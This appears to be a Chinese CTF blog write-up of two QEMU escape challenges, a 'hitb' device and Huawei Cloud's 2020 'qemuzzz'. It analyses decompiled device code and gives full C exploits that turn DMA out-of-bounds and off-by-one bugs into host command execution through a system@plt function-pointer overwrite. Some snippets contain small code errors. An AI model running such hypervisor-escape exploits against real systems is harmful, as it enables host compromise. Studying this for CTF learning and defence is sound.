        else if ( addr == 0x88 && (opaque->dma.cmd & 1) == 0 )
        {
          opaque->dma.dst = val;
        }
      }
      else if ( addr == 0x20 )
      {
        if ( (val & 0x80) != 0 )
          _InterlockedOr((volatile signed __int32 *)&opaque->status, 0x80u);
        else
          _InterlockedAnd((volatile signed __int32 *)&opaque->status, 0xFFFFFF7F);
      }
      else if ( addr > 0x20 )
      {
        if ( addr == 0x60 )
        {
          v6 = ((unsigned int)val | opaque->irq_status) == 0;
          opaque->irq_status |= val;
          if ( !v6 )
            hitb_raise_irq(opaque, 0x60u);
        }
        else if ( addr == 0x64 )
        {
          v5 = ~(_DWORD)val;
          v6 = (v5 & opaque->irq_status) == 0;
          opaque->irq_status &= v5;
          if ( v6 && !msi_enabled(&opaque->pdev) )
            pci_set_irq(&opaque->pdev, 0);
        }
      }
      else if ( addr == 4 )
      {
        opaque->addr4 = ~(_DWORD)val;
      }
      else if ( addr == 8 && (opaque->status & 1) == 0 )
      {
        qemu_mutex_lock(&opaque->thr_mutex);
        opaque->fact = v4;
        _InterlockedOr((volatile signed __int32 *)&opaque->status, 1u);
        qemu_cond_signal(&opaque->thr_cond);
        qemu_mutex_unlock(&opaque->thr_mutex);
      }
    }
  }
}

这里主要是对成员变量进行赋值，在addr=0x98时触发timer，调用hitb_dma——timer函数。

Hitb_dma_timer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
void __fastcall hitb_dma_timer(HitbState *opaque)
{
  dma_addr_t v1; // rax
  __int64 v2; // rdx
  uint8_t *v3; // rsi
  dma_addr_t v4; // rax
  dma_addr_t v5; // rdx
  uint8_t *v6; // rbp
  char *v7; // rbp

  v1 = opaque->dma.cmd;
  if ( (v1 & 1) != 0 )
  {
    if ( (v1 & 2) != 0 )
    {
      v2 = (unsigned int)(LODWORD(opaque->dma.src) - 0x40000);
      if ( (v1 & 4) != 0 )
      {
        v7 = &opaque->dma_buf[v2];
        opaque->enc(v7, opaque->dma.cnt);		//调用enc函数指针
        v3 = (uint8_t *)v7;
      }
      else
      {
        v3 = (uint8_t *)&opaque->dma_buf[v2];
      }
      cpu_physical_memory_rw(opaque->dma.dst, v3, opaque->dma.cnt, 1);
      v4 = opaque->dma.cmd;
      v5 = v4 & 4;
    }
    else
    {
      v6 = (uint8_t *)&opaque[-36] + (unsigned int)opaque->dma.dst - 2824;
      LODWORD(v3) = (_DWORD)opaque + opaque->dma.dst - 0x40000 + 3000;
      cpu_physical_memory_rw(opaque->dma.src, v6, opaque->dma.cnt, 0);
      v4 = opaque->dma.cmd;
      v5 = v4 & 4;
      if ( (v4 & 4) != 0 )
      {
        v3 = (uint8_t *)LODWORD(opaque->dma.cnt);
        opaque->enc((char *)v6, (unsigned int)v3);
        v4 = opaque->dma.cmd;
        v5 = v4 & 4;
      }
    }
    opaque->dma.cmd = v4 & 0xFFFFFFFFFFFFFFFELL;
    if ( v5 )
    {
      opaque->irq_status |= 0x100u;
      hitb_raise_irq(opaque, (uint32_t)v3);
    }
  }
}

cpu_physical_memory_rw函数的第一个参数时物理地址，虚拟地址需要通过读取/proc/$pid/pagemap转换为物理地址。

1、 dma.cmd==7时，idx=dma.src - 0x40000,addr = dma_buf[idx]，调用enc加密函数加密，并写入到dma.dst中；

2、 dma.cmd==3时，idx=dma.src - 0x40000，addr=dma_buf[idx]，写入到dma.dst中；

3、dma.cmd==1时，idx=dma.dst-0x40000，addr=dma_buf[idx]，将其写入到dma.src中（第二个参数可以通过调试得到其地址就是dms_buf[dma.dst-0x40000]）

上面的分析可以看到，这里没有对dma.s rc进行检查，那么idx也是没有经过检查，那么这里就可以实现对dma_buf的越界读写。

漏洞利用

DMA

DMA(Direct Memory Access)：直接内存访问

有两种方式引发数据传输：

第一种情况：软件对数据的请求

  • 当进程调用read，驱动程序函数分配一个DMA缓冲区，并让硬件将数据传输到这个缓冲区中，进程处于睡眠状态；

  • 硬件将数据写入到DMA缓冲区中，当写入完毕，产生一个中断

  • 中断处理程序获取输入的数据，应答中断，并唤起进程，该进程现在即可读取数据

    第二种情况：在异步使用DMA时

  • 硬件产生中断，宣告新数据的到来

  • 中断处理程序分配一个缓冲区，并且告诉硬件向哪里传输数据

  • 外围设备将数据写入数据区，完成后，产生另外一个中断

  • 处理程序分发数据，唤醒任何相关进程，然后执行清理工作

DMA控制器必须有以下功能：

1、 能向CPU发出系统保持(HOLD)信号，提出总线接管请求；

2、 当CPU发出允许接管信号后，负责对总线的控制，进入DMA方式；

3、 能对存储器寻址及能修改地址指针，实现对内存的读写操作；

4、 能决定本次DMA传送的字节数，判断DMA传送是否结束；

5、 发出DMA结束信号，使CPU恢复正常工作状态。

注意：当虚拟机通过DMA（Direct Memory Access）访问大块I/O时，QEMU模拟程序将不会把结果放进共享页中，而是通过内存映射的方式将结果直接写到虚拟机的内存中，然后通知KVM模块告诉客户机DMA操作已经完成。

通过pagemap将虚拟机中的虚拟地址转换为物理地址。

根据内核文档可知，每个虚拟页在/proc/pid/pagemap中对应一项长度为64 bits的数据，其中Bit 63为page present，表示物理内存页是否已存在；若物理页已存在，则Bits 0-54表示物理页号，此外，需要root权限的进程才能读取/proc/pid/pagemap中的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pagemap is a new (as of 2.6.25) set of interfaces in the kernel that allow
userspace programs to examine the page tables and related information by
reading files in /proc.

There are four components to pagemap:

*/proc/pid/pagemap. This file lets a userspace process find out which
physical frame each virtual page is mapped to. It contains one 64-bit
value for each virtual page, containing the following data (from
fs/proc/task_mmu.c, above pagemap_read):

* Bits 0-54 page frame number (PFN) if present
* Bits 0-4 swap type if swapped
* Bits 5-54 swap offset if swapped
* Bit 55 pte is soft-dirty (see Documentation/vm/soft-dirty.txt)
* Bit 56 page exclusively mapped (since 4.2)
* Bits 57-60 zero
* Bit 61 page is file-page or shared-anon (since 3.5)
* Bit 62 page swapped
* Bit 63 page present

Since Linux 4.0 only users with the CAP_SYS_ADMIN capability can get PFNs.
In 4.0 and 4.1 opens by unprivileged fail with -EPERM. Starting from
4.2 the PFN field is zeroed if the user does not have CAP_SYS_ADMIN.
Reason: information about PFNs helps in exploiting Rowhammer vulnerability.

根据以上信息，利用/proc/pid/pagemap可将虚拟地址转换为物理地址，具体步骤如下：

1、 计算虚拟地址所在虚拟页对应的数据项在/proc/pid/pagemap中的偏移，offset=(viraddr/pagesize)*sizeof(uint64_t)

2、 读取长度为64bits的数据项

3、 根据Bit 63 判断物理内存页是否存在

4、 若物理内存页已存在，则取bits 0-54作为物理页号

5、 计算出物理页起始地址加上页内偏移即得到物理地址，phtaddr = pageframenum * pagesize + viraddr % pagesize

对应代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>   
#include <stdint.h>

size_t va2pa(void *addr){
    uint64_t data;

    int fd = open("/proc/self/pagemap",O_RDONLY);
    if(!fd){
        perror("open pagemap");
        return 0;
    }

    size_t pagesize = getpagesize();
    size_t offset = ((uintptr_t)addr / pagesize) * sizeof(uint64_t);

    if(lseek(fd,offset,SEEK_SET) < 0){
        puts("lseek");
        close(fd);
        return 0;
    }

    if(read(fd,&data,8) != 8){
        puts("read");
        close(fd);
        return 0;
    }

    if(!(data & (((uint64_t)1 << 63)))){
        puts("page");
        close(fd);
        return 0;
    }

    size_t pageframenum = data & ((1ull << 55) - 1);
    size_t phyaddr = pageframenum * pagesize + (uintptr_t)addr % pagesize;

    close(fd);

    return phyaddr;
}

int main(){
    char *userbuf;
    uint64_t userbuf_pa;
    unsigned char* mmio_mem;

    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1){
        perror("open mmio");
        exit(-1);
    }

    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED){
        perror("mmap mmio");
        exit(-1);
    }

    printf("mmio_mem:\t%p\n", mmio_mem);

    userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (userbuf == MAP_FAILED){
        perror("mmap userbuf");
        exit(-1);
    }

    strcpy(usebuf,"test");

    mlock(userbuf, 0x1000);
    userbuf_pa = va2pa(userbuf);

    printf("userbuf_va:\t%p\n",userbuf);
    printf("userbuf_pa:\t%p\n",(void *)userbuf_pa);
}

利用思路为：

1、泄漏user_buf的物理地址，因为我们后续调用dma_timer实现越界读写时，需要传入的是物理地址，所以这里需要用到上面的方法先得到user_buf的物理地址。

2、 使得dma.src=0x41000，使dma.dst = user_buf_phy_addr，使得cmd=3，那么则能够将enc函数的地址泄漏出来，从而计算得到qemu基址，进而得到system_plt地址；

2、 使得dma.dst=0x41000，使dma.src=user_buf_phy_addr，使得cmd=1，并将user_buf赋值为system_plt地址，从而修改enc函数指针为system函数

3、 在&dma_buf[0]中写入cat flag指令，并调用enc加密函数，最终触发system命令

EXP

由于是刚开始接触qemu逃逸exp的编写，所以这里就写得详细一点，把每个函数都解释清楚，也增强自己的理解。

初始化mmio

1
2
3
4
5
6
7
8
9
10
// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
    die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
    die("mmap mmio_mem failed");

printf("mmio_mem @ %p\n", mmio_mem);

这里打开设备/sys/devices/pci0000:00/0000:00:04.0/resource0，前面提到这个文件存储的是对应设备的mmio空间。如果有pmio设备，那么这里就需要打开resource1。

创建一个DMA空间

1
2
3
4
5
6
7
8
// Allocate DMA buffer and obtain its physical address
userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (userbuf == MAP_FAILED)
    die("mmap");
mlock(userbuf, 0x1000);
phy_userbuf=gva_to_gpa(userbuf);
printf("user buff virtual address: %p\n",userbuf);
printf("user buff physical address: %p\n",(void*)phy_userbuf);

可以看到首先在用户态分配了一块0x1000的内存userbuf，然后对这块内存执行力mlock。使用了mlock，会把内存lock在内存中，不会被交换，在一定场景下，可以提高性能。 虚拟化场景下，qemu也可以选择lock住一部分内存，来提高Guest的性能。

随后调用gva_to_gpa函数来获取这块空间的物理地址，获取的方法就是如上介绍所示。

越界读

1
2
3
4
5
6
7
8
// out of bound to leak enc ptr
dma_do_read(0x1000+DMABASE,8);

uint64_t leak_enc=*(uint64_t*)userbuf;
printf("leaking enc function: %p\n",(void*)leak_enc);

uint64_t pro_base=leak_enc-0x283DD0;
uint64_t system_plt=pro_base+0x1FDB18;

随后执行越界读，读取buffer后面的 enc函数地址，从而泄漏得到qemu基址。

1
2
3
4
5
6
7
8
9
10
11
void dma_do_read(uint32_t addr, size_t len)
{

    dma_set_dst(phy_userbuf);
    dma_set_src(addr);
    dma_set_cnt(len);

    dma_do_cmd(2|1);

    sleep(1);
}

这里要实现越界读，首先需要通过hitb_mmio_write设置dst为userbuf的物理地址，随后设置src为越界的位置即buffer+0x1000，然后设置读取的长度，最后调用cmd=2，执行越界读取。

这里dma_set_dst函数如下：

1
2
3
4
5
6
7
8
9
void dma_set_dst(uint32_t dst_addr)
{
    mmio_write(0x88,dst_addr);
}

void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}

通过将对mmio_mem写的函数封装为mmio_write函数，这里需要传入的两个参数addr和value就是我们执行hitb_mmio_write需要传入的两个参数。这里dma_set_dst传入参数分别为0x88和dst_addr。

越界写

1
2
// out of bound to overwrite enc ptr to system ptr
dma_do_write(0x1000+DMABASE,&system_plt,8);

获取程序基址后，通过越界写去修改buffer+0x1000处的enc函数指针为system_plt地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
void dma_do_write(uint32_t addr, void *buf, size_t len)
{
    assert(len<0x1000);

    memcpy(userbuf,buf,len);

    dma_set_src(phy_userbuf);
    dma_set_dst(addr);
    dma_set_cnt(len);
    dma_do_cmd(0|1);

    sleep(1);
}

dma_do_write函数首先将我们想写入的数据通过memcpy拷贝给userbuf内存，随后通过dma_set_src将src设置为userbuf的物理地址。然后设置dst为目标地址buffer+0x1000，设置长度，执行cmd=1。上面讲到对dma的读写，需要物理地址，所以这里我们需要将userbuf的物理地址传入。

getshell

1
2
3
4
5
6
// deply the parameter of system function
char *command="cat /root/flag\x00";
dma_do_write(0x200+DMABASE,command,strlen(command));

// trigger the enc ptr to execute system
dma_do_enc(0x200+DMABASE,8);

先是通过越界写，将cat /root/flag写入buffer+0x200处，随后调用enc函数，执行system。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

unsigned char* mmio_mem;
uint64_t phy_userbuf;
char *userbuf;
#define DMABASE 0x40000
void Err(char* err){
    printf("Error: %s\n", err);
    exit(-1);
}

void init_mmio(){
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if(mmio_fd < 0){
        Err("Open pci");
    }
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if(mmio_mem<0){
        Err("mmap mmio_mem");
    }
}

void mmio_write(uint32_t addr, uint32_t value){
    *((uint32_t*)mmio_mem+addr) = value;
}

uint64_t mmio_read(uint32_t addr){
    return *(uint32_t*)(mmio_mem+addr); 
}

void dma_set_src(uint32_t value){
    mmio_write(0x80, value);
}

void dma_set_dst(uint32_t value){
    mmio_write(0x88, value);
}

void dma_set_cnt(uint32_t value){
    mmio_write(0x90, value);
}

void dma_cmd(uint32_t value){
    mmio_write(0x98, value);
}

void dma_do_write(uint32_t addr, void* buf, size_t len){
    memcpy(userbuf, buf, len);

    dma_set_src(phy_userbuf);
    dma_set_dst(addr);
    dma_set_cnt(len);

    dma_cmd(1);
    sleep(1);
}

void dma_do_read(uint32_t addr, void* buf, size_t len){
    dma_set_src(addr);
    dma_set_dst(phy_userbuf);
    dma_set_cnt(len);

    dma_cmd(3);
    sleep(1);
}   

void dma_do_enc(uint32_t addr, size_t len){
    dma_set_src(addr);
    dma_set_cnt(len);

    dma_cmd(7);
}

size_t va2pa(void *addr){
    uint64_t data;

    int fd = open("/proc/self/pagemap",O_RDONLY);
    if(!fd){
        perror("open pagemap");
        return 0;
    }

    size_t pagesize = getpagesize();
    size_t offset = ((uintptr_t)addr / pagesize) * sizeof(uint64_t);

    if(lseek(fd,offset,SEEK_SET) < 0){
        puts("lseek");
        close(fd);
        return 0;
    }

    if(read(fd,&data,8) != 8){
        puts("read");
        close(fd);
        return 0;
    }

    if(!(data & (((uint64_t)1 << 63)))){
        puts("page");
        close(fd);
        return 0;
    }

    size_t pageframenum = data & ((1ull << 55) - 1);
    size_t phyaddr = pageframenum * pagesize + (uintptr_t)addr % pagesize;

    close(fd);

    return phyaddr;
}

int main(){
    init_mmio();

    printf("get mmio_mem phy_addr:\n");
    // Allocate DMA buffer and obtain its physical address
    userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (userbuf == MAP_FAILED)
        Err("mmap userbuf");
    phy_userbuf = va2pa(userbuf);
    printf("userbuf va: 0x%llx\n", userbuf);
    printf("userbuf pa: 0x%llx\n", phy_userbuf);

    printf("oob read:\n");
    dma_do_read(0x1000+DMABASE, userbuf, 0x8);
    size_t enc_addr = *(size_t*)userbuf;
    size_t system_plt = enc_addr -0x283DD0 + 0x1FDB18;
    printf("enc_addr: 0x%llx\n", enc_addr);
    printf("system_plt: 0x%llx\n", system_plt);

    printf("oob write enc to system_plt:\n");
    dma_do_write(0x1000+DMABASE, &system_plt, 0x8);

    printf("oob write sh:\n");
    char *command="cat /root/flag\x00";
    dma_do_write(0x200+DMABASE, command, strlen(command));

    printf("cat flag:\n");
    dma_do_enc(0x200+DMABASE, 8);
    return 0;
}

2020华为云 qemuzzz

漏洞分析

1
2
3
4
5
6
7
8
9
__int64 __fastcall zzz_instance_init(__int64 a1)
{
  __int64 result; // rax

  result = object_dynamic_cast_assert(a1, &off_7CE55E, "../hw/misc/zzz.c", 135LL, "zzz_instance_init");
  *(_QWORD *)(result + 0x19F0) = result;
  *(_QWORD *)(result + 0x19F8) = cpu_physical_memory_rw;
  return result;
}

首先可以看到初始化时，在0x19f0处存储了object对象的基址，在0x19f8处存储了cpu_physical_memory_rw函数指针。

然后主要注册了两个函数，这里先看一下zzz_mmio_write：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
void __fastcall zzz_mmio_write(__int64 opcade, unsigned __int64 addr, unsigned __int64 value)
{
  __int64 dev_fd; // rbp
  __int16 len0; // dx
  __int64 off; // rax
  unsigned __int16 len1; // cx
  void (__fastcall *cpu_physical_memory_rw_func)(_QWORD, __int64, _QWORD, __int64); // r10
  __int64 buf_addr; // rsi
  __int64 off0; // rdx
  int len00; // esi
  __int64 i; // rdi

  if ( addr == 0x20 )                           // set buf
  {
    *(_QWORD *)(opcade + 0x9E0) = value << 12;
  }
  else if ( addr <= 0x20 )
  {
    if ( addr == 16 )
    {
      if ( value > 0xFFF )
      {
        if ( *(_WORD *)(opcade + 0x9EA) > 0xFFFu )
          *(_WORD *)(opcade + 0x9EA) = 0;       // set off
      }
      else
      {
        *(_WORD *)(opcade + 0x9EA) = value;
      }
    }
    else if ( addr == 24 )
    {
      *(_WORD *)(opcade + 0x9E8) = value;       // set len
    }
  }
  else if ( addr == 80 )
  {
    off0 = *(unsigned __int16 *)(opcade + 0x9EA);// ^buf2
    len00 = *(_WORD *)(opcade + 0x9E8) & 0x7FFE;
    if ( (int)off0 + len00 >= 0x1000 )
      len00 = 0xFFF - off0;
    for ( i = off0 + opcade; len00 / 2 > (int)off0; i += 2LL )
    {
      *(_WORD *)(i + 0x9F0) ^= 0x209u;
      LODWORD(off0) = off0 + 2;
    }
  }
  else if ( addr == 96 )
  {
    dev_fd = *(_QWORD *)(opcade + 0x19F0);
    if ( (*(_QWORD *)(dev_fd + 0x9E0) & 0xFFF) == 0 )
    {
      len0 = *(_WORD *)(dev_fd + 0x9E8);
      off = *(unsigned __int16 *)(dev_fd + 0x9EA);
      len1 = len0 & 0x7FFE;
      if ( (int)(off + (len0 & 0x7FFE) - 1) <= 0x1000 )
      {
        cpu_physical_memory_rw_func = *(void (__fastcall **)(_QWORD, __int64, _QWORD, __int64))(opcade + 0x19F8);// func_addr
        buf_addr = dev_fd + off + 0x9F0;
        if ( (len0 & 1) != 0 )
          cpu_physical_memory_rw_func(*(_QWORD *)(dev_fd + 0x9E0), buf_addr, len1, 1LL);// read
        else
          cpu_physical_memory_rw_func(*(_QWORD *)(dev_fd + 0x9E0), buf_addr, len1, 0LL);// write
        if ( *(__int16 *)(dev_fd + 0x9E8) < 0 )
          pci_set_irq(dev_fd, 1LL);
      }
    }
  }
}

这里我们首先看一下dev结构体的大概结构：

1
2
3
4
5
6
7
8
struct opcade{
	void* buf1; //0x9e0
	int len;	//0x9e8
	int off;	//0x9ea
	void buf2[0x1000]; //0x9f0
	void* dev_fd;			//0x19f0					
	void* cpu_physical_memory_rw;	//0x19f8
}

这里zzz_mmio_write，主要功能如下：

  • addr=0x20：可以设置buf1

  • addr=0x10：可以设置off

  • addr=0x18：可以设置len

  • addr=0x50：可以执行异或流程

重点关注addr=0x60，首先需要满足buf1的地址末尾是0x000。

其主要功能，是首先取出len和off,然后检查(int)(off + (len0 & 0x7FFE) - 1) <= 0x1000，这里可以看到这个检查存在缺陷，如果将off=0x1000，len=0x1，那么这个检查可以通过。

但是后续去执行cpu_physical_memory_rw函数时，我们就可以对buf2+0x1000处修改一个字节，而这一字节刚好是dev_fd的地址，也就是我们可以修改dev_fd的最低一字节地址。那么后续我们通过该地址去寻址时肯定会存在问题。

1
2
3
4
5
6
7
8
9
__int64 __fastcall zzz_mmio_read(__int64 opcade, unsigned __int64 addr)
{
  __int64 result; // rax

  result = 0LL;
  if ( addr <= 0xFFF )
    result = *(unsigned __int8 *)(opcade + addr + 0x9F0);
  return result;
}

zzz_mmio_read功能就是返回buf2的数据。

漏洞利用

数组越界

这里的漏洞点在于一个off-by-one漏洞，我们可以将dev_fd的基址的末尾改大，从而使得后续执行0x60读写时，能够向下溢出更多，从而实现越界读写。

这里我们思考是利用off-by-one漏洞将dev_fd末尾字节改为0x60，从而使得基址增大了0x60。由于我们如果将基址改大后，我们在通过其他set功能设置的src\len\off就发生了变化，所以我们需要先布置好我们后续要用的src\off\len。

1
2
3
4
5
6
7
8
9
10
int offset = 0x60 - 0;
printf("offset is: %x\n", offset);
int phy_addr = phy_userbuf; 
char *command="cat /root/flag\x00";
memcpy(userbuf+0x210, command, strlen(command));
*(uint64_t*)(userbuf+0x50) = phy_addr;
*(uint16_t*)(userbuf+0x58)=0xf;
*(uint16_t*)(userbuf+0x5a)=0x1000-offset; 

set_write(0x00, 0x220);

这里我们先在buf+0x50处布置userbuf的物理地址phy_addr，布置长度为0xf，布置偏移为0x1000-0x60。并且在buf+0x210处布置好cat /root/flag字符串，这里选择0x210的原因是经过调试buf_addr+0x210的地址低12位刚好为0x000，也就是该地址后续可以被传入当作cpu_physical_memory_rw的参数。

随后，利用off-by-one，修改基址：

1
2
3
4
printf("change base last byte as 0x60\n");
*(uint8_t *)userbuf = 0x00;
*(uint8_t *)(userbuf + 1) = 0x60;
set_write(0xfff, 0x2);

泄漏地址

现在相当于基址增大了0x60，那么我们读取的时候也就可以相应读取buf溢出0x60的数据，这里与buf紧邻的就有dev_fd地址和cpu_physical_memory_rw函数指针。

原结构大体如下所示：

1
2
3
4
5
6
7
8
9
10
|				dev_fd				| 0x0 <----------+
|   		  ...   		  |          			 ｜
|   		 buf1					| 0x9e0          ｜
|					len					| 0x9e8          ｜
|					off					| 0x9ea          ｜
| 		buf[0x1000] 		| 0x9f0          ｜
| 		    ...   		  | 							 ｜
|  		  dev_fd  		  | 0x19f0	-------｜
|cpu_physical_memory_rw|. 0x19f8
|					...					|

修改后的结构体如下所示：

1
2
3
4
5
6
7
8
9
10
|				dev_fd				| 0x0
|   		  ...   		  |<-------------+
|   		 buf1					| 0x9e0				 |
|					len					| 0x9e8				 |
|					off					| 0x9ea				 |
| 		buf[0x1000] 		| 0x9f0				 |
| 		    ...   		  | 				 		 |
|  		  dev_fd+0x60  	| 0x19f0-------+
|cpu_physical_memory_rw|. 0x19f8
|					...					|

此时，再去执行0x60读取函数时，此时取出的src\len\num为我们上面自己布置的数据，src=phy_userbuf、len=0xf、off=0x1000-0x60。

那么也就是会执行cpu_physical_memory_rw_func(*(dev_fd+0x60+0x1000-0x60), *(dev_fd+0x60+0x9e0), (dev_fd+0x60+0x9e8), 1LL);，也即执行cpu_physical_memory_rw_func(*(buf+0x1000), *(phy_userbuf), 0xf, 1LL);。

那么此时就能讲dev_fd和函数指针泄漏出来

getshell

getshell的方法很通用，修改函数指针为system_plt，然后使得buf地址指向我们之前布置到 cat flag字符串地址即可。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

unsigned char* mmio_mem;
uint64_t phy_userbuf;
char *userbuf;

void Err(char* err){
    printf("Error: %s\n", err);
    exit(-1);
}

void init_mmio(){
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if(mmio_fd < 0){
        Err("Open pci");
    }
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if(mmio_mem<0){
        Err("mmap mmio_mem");
    }
}

void mmio_write(uint64_t addr, uint64_t value){
    *((uint64_t*)(mmio_mem+addr)) = value;
}

uint64_t mmio_read(uint64_t addr){
    return *((uint64_t*)(mmio_mem+addr)); 
}

void set_src(uint64_t addr){
    mmio_write(0x20, addr);
}

void set_len(uint64_t num){
    mmio_write(0x18, num);
}

void set_off(uint64_t offset){
    mmio_write(0x10, offset);
}

void set_write(uint64_t offset, uint64_t num){
    set_src(phy_userbuf>>12);
    set_len(num);
    set_off(offset);

    mmio_write(0x60, 0x0);
    sleep(1);
}

void set_enc(uint64_t offset, uint64_t num){
    set_off(offset);
    set_len(num);

    mmio_write(0x50, 0x0);
    sleep(1);
} 

size_t va2pa(void *addr){
    uint64_t data;

    int fd = open("/proc/self/pagemap",O_RDONLY);
    if(!fd){
        perror("open pagemap");
        return 0;
    }

    size_t pagesize = getpagesize();
    size_t offset = ((uintptr_t)addr / pagesize) * sizeof(uint64_t);

    if(lseek(fd,offset,SEEK_SET) < 0){
        puts("lseek");
        close(fd);
        return 0;
    }

    if(read(fd,&data,8) != 8){
        puts("read");
        close(fd);
        return 0;
    }

    if(!(data & (((uint64_t)1 << 63)))){
        puts("page");
        close(fd);
        return 0;
    }

    size_t pageframenum = data & ((1ull << 55) - 1);
    size_t phyaddr = pageframenum * pagesize + (uintptr_t)addr % pagesize;

    close(fd);

    return phyaddr;
}

int main(){
    printf("init mmio:\n");
    init_mmio();

    userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (userbuf == MAP_FAILED)
        Err("mmap userbuf");
    mlock(userbuf, 0x1000);
    phy_userbuf = va2pa(userbuf);
    printf("userbuf va: 0x%llx\n", userbuf);
    printf("userbuf pa: 0x%llx\n", phy_userbuf);

    int offset = 0x60 - 0;
    printf("offset is: %x\n", offset);
    int phy_addr = phy_userbuf; 
    char *command="cat /root/flag\x00";
    memcpy(userbuf+0x210, command, strlen(command));
    *(uint64_t*)(userbuf+0x50) = phy_addr;
    *(uint16_t*)(userbuf+0x58)=0xf;
    *(uint16_t*)(userbuf+0x5a)=0x1000-offset; 

    set_write(0x00, 0x220);

    printf("change base last byte as 0x60\n");
    *(uint8_t *)userbuf = 0x00;
    *(uint8_t *)(userbuf + 1) = 0x60;
    set_write(0xfff, 0x2);

    printf("leak addr:\n");
    mmio_write(0x60,0);
    size_t base_addr = *(size_t *)userbuf;
    size_t phy_rw_addr = *(size_t *)(userbuf+8);
    printf("phy_rw_addr: 0x%llx\n", phy_rw_addr);
    printf("base_addr: 0x%llx\n", base_addr);

    size_t system_plt = phy_rw_addr - 0x5bc5c0+0x2a7a80;
    printf("system_plt: 0x%llx\n", system_plt);
    
    printf("enc to change rw flag:\n");
    set_enc(0x58, 0xb8);
    uint64_t target = (base_addr-0x60+0x9e0+0x220);
    *(uint64_t*)(userbuf+0x7) = (target);
    *(uint16_t*)(userbuf+0x7+0x8) = (0xf);
    *(uint16_t*)(userbuf+0x7+0xa) = (0x0);
    *(uint64_t*)(userbuf+0x1f7) = (base_addr-0x60+0xe20);
    *(uint64_t*)(userbuf+0x1f7+0x8) = system_plt;
    mmio_write(0x60, 0);

    set_src(target);
    mmio_write(0x60, 0);
    return 0;
}
赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing